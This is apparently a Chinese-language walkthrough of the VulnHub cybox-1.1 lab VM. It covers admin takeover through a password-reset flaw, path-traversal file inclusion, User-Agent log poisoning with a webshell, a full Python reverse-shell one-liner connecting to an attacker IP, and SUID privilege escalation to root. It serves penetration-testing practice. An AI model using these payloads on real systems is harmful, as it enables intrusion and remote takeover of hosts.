vulnhub之cybox-1.1的實踐
今天實踐的是vulnhub的cybox-1.1鏡像,
下載地址,https://download.vulnhub.com/cybox/cybox-1.1.ova,
用workstation導入成功,直接就看到了地址,省的做地址掃描了,

進行端口掃描,sudo nmap -sS -sV -T5 -A -p- 192.168.58.144,

看到靶機有不少服務,把域名cybox.company跟地址的對應記錄添加到etc/hosts文件中,然后做更多域名的發現,
sudo apt install seclists,
sudo gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u cybox.company,

訪問register域名的頁面注冊個新賬號,gohacker,

再訪問monitor域名的頁面同樣注冊新賬號,gohacker,

然后再重置密碼,

webmail域名這邊頁面下就收到了重置密碼的鏈接,

把重置密碼鏈接里的郵箱改成admin的,這樣就成功改了admin的密碼,

就可以用admin進行登錄了,

查看Admin panel,

再查看頁面源碼,

發現了文件包含漏洞的提示,styles.php?style=general,
嘗試查看密碼文件,http://monitor.cybox.company/admin/styles.php?style=../../../../../../../../../../etc/passwd%00,

又從ftp域名的頁面找到了命令注入的漏洞,

通過burp suite向useragent里注入一句話木馬,
,

猜測日志文件是/opt/bitnami/apache2/logs/access_log,
驗證一句話木馬,
http://monitor.cybox.company/admin/styles.php?style=../../../../../../../../../../opt/bitnami/apache2/logs/access_log%00&cmd=ls,

構造一個反彈shell命令,
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.58.131",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);',
kali攻擊機這邊開一個反彈shell監聽,sudo nc -nvlp 443,
訪問url觸發反彈shell,
http://monitor.cybox.company/admin/styles.php?style=../../../../../../../../../../opt/bitnami/apache2/logs/access_log%00&cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.58.131",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);',

不是root,需要提權,
先python -c 'import pty;pty.spawn("/bin/bash")'轉成交換式shell,
find / -perm -4000 2>/dev/null查找root權限的應用,

發現了/opt/registerlauncher,
strings /opt/registerlauncher看到背后是/opt/register程序,
strings /opt/register看到這個程序的內容,能夠創建系統賬戶,

/opt/registerlauncher sudo創建一個叫sudo的賬戶,
su sudo切到sudo賬戶,sudo -l確認有/bin/bash的執行權限,
sudo /bin/bash拿到新的shell,id確認是root,
